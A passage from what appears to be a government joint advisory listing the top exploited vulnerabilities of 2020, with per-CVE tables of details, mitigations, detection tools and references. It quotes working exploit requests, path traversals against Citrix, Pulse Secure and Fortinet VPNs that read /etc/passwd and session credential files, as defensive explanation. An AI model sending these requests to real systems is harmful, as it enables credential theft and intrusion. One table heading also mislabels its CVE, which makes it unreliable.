**Microsoft Exchange: **CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 \n * See CISA\u2019s Alert: Mitigate Microsoft Exchange Server Vulnerabilities for more information on identifying and mitigating malicious activity concerning these vulnerabilities.\n * **Pulse Secure:** CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900 \n * See CISA\u2019s Alert: Exploitation of Pulse Connect Secure Vulnerabilities for more information on how to investigate and mitigate this malicious activity.\n * **Accellion:** CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104 \n * See the Australia-New Zealand-Singapore-UK-U.S. Joint Cybersecurity Advisory: Exploitation of Accellion File Transfer Appliance for technical details and mitigations.\n * **VMware:** CVE-2021-21985 \n * See CISA\u2019s Current Activity: Unpatched VMware vCenter Software for more information and guidance. \n * **Fortinet:** CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 \n * See the CISA-FBI Joint Cybersecurity Advisory: APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks for more details and mitigations. \n\n### Mitigations and Indicators of Compromise\n\nOne of the most effective best practices to mitigate many vulnerabilities is to update software versions once patches are available and as soon as is practicable. If this is not possible, consider applying temporary workarounds or other mitigations, if provided by the vendor. If an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest number of potential attackers (such as internet-facing systems). This advisory highlights vulnerabilities that should be considered as part of the prioritization process. To further assist remediation, automatic software updates should be enabled whenever possible. \n\nFocusing scarce cyber defense resources on patching those vulnerabilities that cyber actors most often use offers the potential of bolstering network security while impeding our adversaries\u2019 operations. For example, nation-state APTs in 2020 extensively relied on a single RCE vulnerability discovered in the Atlassian Crow, a centralized identity management and application (CVE-2019-11580) in its reported operations. A concerted focus on patching this vulnerability could have a relative broad impact by forcing the actors to find alternatives, which may not have the same broad applicability to their target set. \n\nAdditionally, attackers commonly exploit weak authentication processes, particularly in external-facing devices. Organizations should require multi-factor authentication to remotely access networks from external sources, especially for administrator or privileged accounts.\n\nTables 2\u201314 provide more details about, and specific mitigations for, each of the top exploited CVEs in 2020. \n\n**Note:** The lists of associated malware corresponding to each CVE below are not meant to be exhaustive but intended to identify a malware family commonly associated with exploiting the CVE. \n\n\n_Table 2: CVE-2019-19781 Vulnerability Details_\n\n**Citrix Netscaler Directory Traversal (CVE-2019-19781)** \n \n--- \n \n_**Vulnerability Description**_ \nCitrix Netscaler Application Delivery Control (ADC) is vulnerable to RCE and full system compromise due to poor access controls, thus allowing directory traversal. \n\n| \n\n_**CVSS 3.02**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nThe lack of adequate access controls allows an attacker to enumerate system directories for vulnerable code (directory traversal). In this instance, Citrix ADC maintains a vulnerable Perl script (`newbm.pl`) that, when accessed via `HTTP POST` request (`POST https://$TARGET/vpn/../vpn/portal/scripts/newbm.pl`), allows local operating system (OS) commands to execute. Attackers can use this functionality to upload/execute command and control (C2) software (webshell or reverse-shell executable) using embedded commands (e.g.,` curl`, `wget`, `Invoke-WebRequest`) and gain unauthorized access to the OS. \n\n_Multiple malware campaigns, including NOTROBIN, have taken advantage of this vulnerability._\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n**_Recommended Mitigations_**\n\n * Implement the appropriate refresh build according to the vulnerability details outlined by the vendor: Citrix: Mitigation Steps for CVE-2019-19781\n * If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list). \n \n_**Detection Methods**_\n\n * CISA has developed a free detection tool for this vulnerability: [cisagov/check-cve-2019-19781](<https://github.com/cisagov/check-cve-2019-19781>): Test a host for susceptibility to CVE-2019-19781.\n * Nmap developed a script that can be used with the port scanning engine: [CVE-2019-19781 - Citrix ADC Path Traversal #1893](<https://github.com/nmap/nmap/pull/1893/files>).\n * Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: [Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781](<https://github.com/citrix/ioc-scanner-CVE-2019-19781>).\n * CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at <https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF> and signatures at <https://github.com/nsacyber/Mitigating-Web-Shells>. \n \n**_Vulnerable Technologies and Versions_** \nCitrix ADC and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 \n \n_**References and Additional Guidance**_\n\n * [Citrix Blog: Citrix releases final fixes for CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)\n * [National Institute for Standards and Technology (NIST) National Vulnerability Database (NVD): Vulnerability Detail CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * [Tripwire Vulnerability and Exposure Research Team (VERT) Article: Citrix NetScaler CVE-2019-19781: What You Need to Know](<https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/>)\n * [National Security Agency Cybersecurity Advisory: Critical Vulnerability In Citrix Application Delivery Controller (ADC) And Citrix Gateway](<https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA FOR CITRIXADCANDCITRIXGATEWAY_20200109.PDF>)\n * [CISA Alert: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n * [NCSC Alert: Actors Exploiting Citrix Products Vulnerability](<https://www.ncsc.gov.uk/news/citrix-alert>)\n * [CISA-NCSC Joint Cybersecurity Advisory: COVID-19 Exploited by Malicious Cyber Actors](<https://us-cert.cisa.gov/ncas/alerts/aa20-099a>)\n * [CISA Alert: Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP](<https://us-cert.cisa.gov/ncas/alerts/aa20-020a>)\n * [FBI-CISA Joint Cybersecurity Advisory: Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders ](<https://www.ic3.gov/Media/News/2021/210426.pdf>)\n * [DoJ: Seven International Cyber Defendants, Including \u201cApt41\u201d Actors, Charged in Connection with Computer Intrusion Campaigns Against More Than 100 Victims Globally](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>)\n * [FBI News: Russian Foreign Intelligence Service Exploiting Five Publicly Known Vulnerabilities to Compromise U.S. and Allied Networks](<https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks>)\n * [FBI FLASH: Indictment of China-Based Cyber Actors Associated with APT 41 for Intrusion Activities](<https://www.ic3.gov/Media/News/2020/201103-2.pdf>)\n * [GitHub: nsacyber / Mitigating Web Shells](<https://github.com/nsacyber/Mitigating-Web-Shells>) \n \n_Table 3: CVE 2019-11510 Vulnerability Details_\n\nPulse Secure Connect VPN (CVE 2019-11510) \n--- \n \n_**Vulnerability Description**_ \nPulse Secure Connect is vulnerable to unauthenticated arbitrary file disclosure. An attacker can exploit this vulnerability to gain access to administrative credentials. \n\n| \n\n**CVSS 3.0**\n\nCritical \n \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_ \nImproper access controls allow a directory traversal that an attacker can exploit to read the contents of system files. For example, the attacker could use a string such as `https://sslvpn.insecure-org.com/dana-na/../dana/html5/acc/guacmole/../../../../../../etc/passwd?/dana/html5/guacamole/` to obtain the local password file from the system. The attacker can also obtain admin session data and replay session tokens in the browser. Once compromised, an attacker can run arbitrary scripts on any host that connects to the VPN. This could lead to anyone connecting to the VPN as a potential target to compromise. \n\n_Multiple malware campaigns have taken advantage of this vulnerability, most notably REvil/Sodinokibi ransomware._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n \n \n_**Recommended Mitigations**_\n\n * Upgrade to the latest Pulse Secure VPN.\n * Stay alert to any scheduled tasks or unknown files/executables. \n * Create detection/protection mechanisms that respond on directory traversal (`/../../../`) attempts to read local system files. \n**_Detection Methods_**\n\n * CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisagov/check-your-pulse.\n * Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019-11510.nse #1708. \n \n_**Vulnerable Technologies and Versions**_ \nPulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 are vulnerable. \n \n_**References**_\n\n * [NIST NVD Vulnerability Detail: CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * [CISA Alert: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n * [Pulse Security Advisory: SA44101 \u2013 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n * [GitHub: cisagov / Check Your Pulse](<https://github.com/cisagov/check-your-pulse>)\n * [CISA Analysis Report: Federal Agency Compromised by Malicious Cyber Actor](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a>)\n * [CISA Alert: Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>)\n * [CISA-FBI Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [NCSC Alert: Vulnerabilities Exploited in VPN Products Used Worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n * [DoJ Press Release: Seven International Cyber Defendants, Including \u201cApt41\u201d Actors, Charged in Connection with Computer Intrusion Campaigns Against More Than 100 Victims Globally](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>)\n * [FBI News: Russian Foreign Intelligence Service Exploiting Five Publicly Known Vulnerabilities to Compromise U.S. and Allied Networks](<https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks>)\n * [FBI FLASH: Indicators Associated with Netwalker Ransomware](<https://www.ic3.gov/Media/News/2020/200929-2.pdf>)\n * [FBI FLASH: Indictment of China-Based Cyber Actors Associated with APT 41 for Intrusion Activities](<https://www.ic3.gov/Media/News/2020/201103-2.pdf>) \n \n_Table 4: CVE 2018-13379 Vulnerability Details_\n\n**Fortinet FortioOS Secure Socket Layer VPN (CVE 2018-13379)** \n--- \n \n**_Vulnerability Description_** \nFortinet Secure Sockets Layer (SSL) VPN is vulnerable to unauthenticated directory traversal, which allows attackers to gain access to the `sslvpn_websession` file. An attacker is then able to exact clear-text usernames and passwords. \n\n| \n\n**_CVSS 3.0_**\n\nCritical \n \n \n**_Vulnerability Discussion, IOCs, and Malware Campaigns_** \nWeakness in user access controls and web application directory structure allows attackers to read system files without authentication. Attackers are able to perform a `HTTP GET request http://$SSLVPNTARGET?lang=/../../../..//////////dev/cmdb/sslvpn_websession`. This results the server responding with unprintable/hex characters alongside cleartext credential information. \n\n_Multiple malware campaigns have taken advantage of this vulnerability. The most notable being Cring ransomware (also known as Crypt3, Ghost, Phantom, and Vjszy1lo). _\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.fortiguard.com/psirt/FG-IR-18-384>) \n \n \n**_Recommended Mitigations_**\n\n * Upgrade to the latest Fortinet SSL VPN. \n * Monitor for alerts to any unscheduled tasks or unknown files/executables. \n * Create detection/protection mechanisms that respond on directory traversal (`/../../../`) attempts to read the `sslvpn_websessions` file. \n**_Detection Methods_**\n\n * Nmap developed a script that can be used with the port scanning engine: Fortinet SSL VPN CVE-2018-13379 vuln scanner #1709. \n \n**_Vulnerable Technologies and Versions_** \nFortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7, and 5.4.6 to 5.4.12 are vulnerable. \n \n_**References**_\n\n * [FortiOS System File Leak Through SSL VPN via Specialty Crafted HTTP Resource Requests](<https://www.fortiguard.com/psirt/FG-IR-18-384>)\n * [Github: Fortinet Ssl Vpn Cve-2018-13379 Vuln Scanner #1709](<https://github.com/nmap/nmap/pull/1709>)\n * [Fortinet Blog: Update Regarding CVE-2018-13379](<https://www.fortinet.com/blog/psirt-blogs/update-regarding-cve-2018-13379>)\n * [NIST NVD Vulnerability Detail: CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n * [FBI-CISA Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [FBI-CISA Joint Cybersecurity Advisory: APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attacks](<https://www.ic3.gov/Media/News/2021/210402.pdf>)\n * [NCSC Alert: Vulnerabilities Exploited in VPN Products Used Worldwide](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)\n * [FBI News: Russian Foreign Intelligence Service Exploiting Five Publicly Known Vulnerabilities to Compromise U.S. and Allied Networks](<https://www.fbi.gov/news/pressrel/press-releases/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabilities-to-compromise-us-and-allied-networks>)\n * [FBI FLASH: APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity](<https://www.ic3.gov/Media/News/2021/210527.pdf>) \n \n_Table 5: CVE-2020-5902 Vulnerability Details_\n\nF5 Big IP Traffic Management User Interface (CVE-2020-5902) \n--- \n \n_**Vulnerability Description**_ \nThe Traffic Management User Interface (TMUI), also referred to as the Configuration Utility, has an RCE vulnerability in undisclosed pages. \n\n| \n\n_**CVSS 3.0**_ \nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_ \nThis vulnerability allows for unauthenticated attackers, or authenticated users, with network access to the Configuration Utility (through the BIG-IP management port and/or self IPs) to execute arbitrary system commands, create or delete files, disable services, and execute arbitrary Java code. This vulnerability may result in complete system compromise. The BIG-IP system in Appliance mode is also vulnerable. This issue is not exposed on the data plane; only the control plane is affected. \n\n| _**Fix**_ \n[Upgrade to Secure Versions Available](<https://support.f5.com/csp/article/K52145254>) \n \n \n_**Recommended Mitigations**_ \nDownload and install a fixed software version of the software from a vendor approved resource. If it is not possible to update quickly, restrict access via the following actions.\n\n * Address unauthenticated and authenticated attackers on self IPs by blocking all access.\n * Address unauthenticated attackers on management interface by restricting access. \n**_Detection Methods_**\n\n * F5 developed a free detection tool for this vulnerability: [f5devcentral / cve-2020-5902-ioc-bigip-checker](<https://github.com/f5devcentral/cve-2020-5902-ioc-bigip-checker/>). \n * Manually check your software version to see if it is susceptible to this vulnerability. \n \n_**Vulnerable Technologies and Versions**_ \nBIG-IP (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT) 15.1.0, 15.0.0-15.0.1, 14.1.0-14.1.2, 13.1.0-13.1.3, 12.1.0-12.1.5, and 11.6.1-11.6.5 are vulnerable. \n \n**_References_**\n\n * [F5 Article: TMUI RCE Vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)\n * [NIST NVD Vulnerability Detail: CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n * [CISA Alert: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>)\n * [MITRE CVE Record: CVE-2020-5902](<https://vulners.com/cve/CVE-2020-5902>) \n \n_Table 6: CVE-2020-15505 Vulnerability Details_\n\nMobileIron Core & Connector (CVE-2020-15505) \n--- \n \n_**Vulnerability Description**_\n\nMobileIron Core & Connector, Sentry, and Monitoring and Reporting Database (RDB) software are vulnerable to RCE via unspecified vectors.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nCVE-2020-15505 is an RCE vulnerability in MobileIron Core & Connector versions 10.3 and earlier. This vulnerability allows an external attacker, with no privileges, to execute code of their choice on the vulnerable system. As mobile device management (MDM) systems are critical to configuration management for external devices, they are usually highly permissioned and make a valuable target for threat actors.\n\nMultiple APTs have been observed exploiting this vulnerability to gain unauthorized access.\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://www.ivanti.com/blog/mobileiron-security-updates-available>) \n \n_**Recommended Mitigations**_\n\n * Download and install a fixed software version of the software from a vendor approved resource. \n \n_**Detection Methods**_\n\n * None. Manually check your software version to see if it is susceptible to this vulnerability. \n \n_**Vulnerable Technologies and Versions**_\n\nMobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0, and 10.6.0.0; Sentry versions 9.7.2 and earlier and 9.8.0; and Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier are vulnerable. \n \n_**References**_\n\n * [Ivanti Blog: MobileIron Security Updates Available](<https://www.ivanti.com/blog/mobileiron-security-updates-available>)\n * [CISA-FBI Joint Cybersecurity Advisory: APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-283a>)\n * [NIST NVD Vulnerability Detail: CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)\n * [MITRE CVE Record: CVE-2020-15505](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-15505>)\n * [NSA Cybersecurity Advisory: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) \n \n_Table 7: CVE-2020-0688 Vulnerability Details_\n\nMicrosoft Exchange Memory Corruption (CVE-2020-0688) \n--- \n \n_**Vulnerability Description**_\n\nAn RCE vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory.\n\n| \n\n_**CVSS 3.0**_\n\nHigh \n \nVulnerability Discussion, IOCs, and Malware Campaigns \nCVE-2020-0688 exists in the Microsoft Exchange Server when the server fails to properly create unique keys at install time. An authenticated user with knowledge of the validation key and a mailbox may pass arbitrary objects for deserialization by the web application that runs as `SYSTEM`. The security update addresses the vulnerability by correcting how Microsoft Exchange creates the keys during install. \n\nA nation-state _APT actor has been observed exploiting this vulnerability to conduct widespread, distributed, and anonymized brute force access attempts against hundreds of government and private sector targets worldwide._\n\n| \n\n_**Fix**_\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>) \n \n_**Recommended Mitigations**_\n\n * Download and install a fixed software version of the software from a vendor approved resource. \n \n_**Detection Methods**_\n\n * Manually check your software version to see if it is susceptible to this vulnerability.\n * CVE-2020-0688 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware at [https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF >) and signatures at <https://github.com/nsacyber/Mitigating-Web-Shells>. \n \n_**Vulnerable Technologies and Versions**_\n\nMicrosoft Exchange Server 2019 Cumulative Update 3 and 4, 2016 Cumulative Update 14 and 15, 2013 Cumulative Update 23, and 2010 Service Pack 3 Update Rollup 30 are vulnerable. \n \n_**References**_\n\n * [Microsoft Security Update Guide: CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n * [NIST NVD Vulnerability Detail: CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n * [Microsoft Security Update: Description of the security update for Microsoft Exchange Server 2019 and 2016: February 11, 2020](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-and-2016-february-11-2020-94ac1ebb-fb8a-b536-9240-a1cab0fd1c9f>)\n * [CISA-FBI Joint Cybersecurity Advisory: Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://us-cert.cisa.gov/ncas/alerts/aa20-296a>)\n * [ACSC Alert: Active Exploitation of Vulnerability in Microsoft Internet Information Services](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerability-microsoft-internet-information-services>)\n * [NSA-CISA-FBI-NCSC Cybersecurity Advisory: Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/0/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>) \n \n_Table 8: CVE-2019-3396 Vulnerability Details_\n\nMicrosoft Office Memory Corruption (CVE 2017-11882) \n--- \n \n_**Vulnerability Description**_\n\nAtlassian Confluence Server and Data Center Widget Connector is vulnerable to a server-side template injection attack.\n\n| \n\n_**CVSS**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nConfluence Server and Data Center versions released before June 18, 2018, are vulnerable to this issue. A remote attacker is able to exploit a server-side request forgery (SSRF) vulnerability in the WebDAV plugin to send arbitrary HTTP and WebDAV requests from a Confluence Server or Data Center instance. A successful attack is able to exploit this issue to achieve server-side template injection, path traversal, and RCE on vulnerable systems.\n\n_Multiple malware campaigns have taken advantage of this vulnerability; the most notable being GandCrab ransomware._\n\n| \n\n_**Fix**_\n\n[Patch Available](<Patch Available>) \n \n_**Recommended Mitigations**_\n\n * Download and install a fixed software version of the software from a vendor-approved resource. \n \n_**Detection Methods**_\n\n * Manually check the software version to see if it is susceptible to this vulnerability.\n\n * CVE-2019-3396 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware at <https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF> and signatures at [https://github.com/nsacyber/Mitigating-Web-Shells.](<https://github.com/nsacyber/Mitigating-Web-Shells>) \n \n_**Vulnerable Technologies and Versions**_\n\nAll versions of Confluence Server and Confluence Data Center before version 6.6.12, from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x) are vulnerable. \n \n_**References**_\n\n * [NIST NVD Vulnerability Detail: CVE-2019-3396](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>)\n * [MITRE CVE Record: CVE-2019-3396](<https://vulners.com/cve/CVE-2019-3396>)\n * [Confluence Security Advisory: Confluence Data Center and Server 7.12](<https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>)\n * [Confluence Server and Data Center CONFSERVER-57974: Remote Code Execution via Widget Connector Macro - CVE-2019-3396](<https://jira.atlassian.com/browse/CONFSERVER-57974>)\n * [TrendMicro Research Article: CVE-2019-3396: Exploiting the Confluence Vulnerability](<https://www.trendmicro.com/en_us/research/19/e/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit.html>) \n \n_Table 9: CVE 2017-11882 Vulnerability Details_\n\nMicrosoft Office Memory Corruption (CVE 2017-11882) \n--- \n \n_**Vulnerability Description**_\n\nMicrosoft Office is prone to a memory corruption vulnerability allowing an attacker to run arbitrary code, in the context of the current user, by failing to properly handle objects in memory. It is also known as the \"Microsoft Office Memory Corruption Vulnerability.\" \n\nCyber actors continued to exploit this four-year-old vulnerability in Microsoft Office that the U.S. Government publicly assessed last year was the most frequently targeted. Cyber actors most likely continue to exploit this vulnerability because Microsoft Office use is ubiquitous worldwide, the vulnerability is ideal for phasing campaigns, and it enables RCE on vulnerable systems.\n\n| \n\n_**CVSS 3.0**_\n\nHigh \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nMicrosoft Equation Editor, a component of Microsoft Office, contains a stack buffer overflow vulnerability that enables RCE on a vulnerable system. The component was compiled on November 9, 2000. Without any further recompilation, it was used in all currently supported versions of Microsoft Office. Microsoft Equation Editor is an out-of-process COM server that is hosted by `eqnedt32.exe`, meaning it runs as its own process and can accept commands from other processes.\n\nData execution prevention (DEP) and address space layout randomization (ASLR) should protect against such attacks. However, because of the manner in which `eqnedt32.exe` was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to `eqnedt32.exe`, unless applied system-wide. This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute an embedded attacker commands.\n\n_Multiple cyber espionage campaigns have taken advantage of this vulnerability. CISA has noted CVE-2017-11882 being exploited to [deliver LokiBot malware](<https://us-cert.cisa.gov/ncas/alerts/aa20-266a>)._\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>) \n \n_**Recommended Mitigations**_\n\n * To remediate this issue, administrators should deploy Microsoft\u2019s patch for this vulnerability: <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>.\n * Those who cannot deploy the patch should consider disabling the Equation Editor as discussed in [Microsoft Knowledge Base Article 4055535](<https://support.microsoft.com/en-us/topic/how-to-disable-equation-editor-3-0-7e000f58-cbf4-e805-b4b1-fde0243c9a92>). \n \n_**Detection Methods**_\n\n * Microsoft Defender Antivirus, Windows Defender, Microsoft Security Essentials, and the Microsoft Safety Scanner will all detect and patch this vulnerability. \n \n_**Vulnerable Technologies and Versions**_\n\n * Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 are vulnerable. \n \n_**References**_\n\n * [NIST NVD Vulnerability Detail: CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n * [CISA Malware Analysis Report: MAR-10211350-1.v2](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133e>)\n * [Palo Alto Networks Analysis: Analysis of CVE-2017-11882 Exploit in the Wild](<https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/>)\n * [CERT Coordination Center Vulnerability Note: Microsoft Office Equation Editor stack buffer overflow](<https://www.kb.cert.org/vuls/id/421280>) \n \n_Table 10: CVE 2019-11580 Vulnerability Details_\n\nAtlassian Crowd and Crowd Data Center Remote Code Execution (CVE 2019-11580) \n--- \n \n_**Vulnerability Description**_\n\nAtlassian Crowd and Crowd Data Center had the `pdkinstall` development plugin incorrectly enabled in release builds.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nAttackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits RCE on systems running a vulnerable version of Crowd or Crowd Data Center.\n\n| \n\n**_Fix_**\n\n[Patch Available](<https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html>) \n \n_**Recommended Mitigations**_\n\n * Atlassian recommends customers running a version of Crowd below version 3.3.0 to upgrade to version 3.2.8. For customers running a version above or equal to 3.3.0, Atlassian recommends upgrading to the latest version.\n * Released Crowd and Crowd Data Center version 3.4.4 contains a fix for this issue and is available at <https://www.atlassian.com/software/crowd/download>.\n * Released Crowd and Crowd Data Center versions 3.0.5, 3.1.6, 3.2.8, and 3.3.5 contain a fix for this issue and are available at <https://www.atlassian.com/software/crowd/download-archive>. \n \n_**Detection Methods**_\n\n * Manually check your software version to see if it is susceptible to this vulnerability.\n * CVE-2019-11580 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware at [https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PD](<https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF>)F and signatures at <https://github.com/nsacyber/Mitigating-Web-Shells> \n \n_**Vulnerable Technologies and Versions**_\n\nAll versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x), from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability. \n \n**_References_**\n\n * [NIST NVD Vulnerability Detail: CVE-2019-11580](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>)\n * [Crowd CWD-5388: Crowd \u2013 pdkinstall Development Plugin Incorrectly Enabled \u2013 CVE-2019-11580](<https://jira.atlassian.com/browse/CWD-5388>)\n * [Crowd Security Advisory: Crowd Data Center and Server 4.3](<https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html>) \n \n_Table 11: CVE 2018-7600 Vulnerability Details_\n\nDrupal Core Multiple Remote Code Execution (CVE 2018-7600) \n--- \n \n_**Vulnerability Description**_\n\nDrupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allow remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.\n\n| \n\n_**CVSS 3.0**_\n\nCritical \n \n_**Vulnerability Discussion, IOCs, and Malware Campaigns**_\n\nAn RCE vulnerability exists within multiple subsystems of 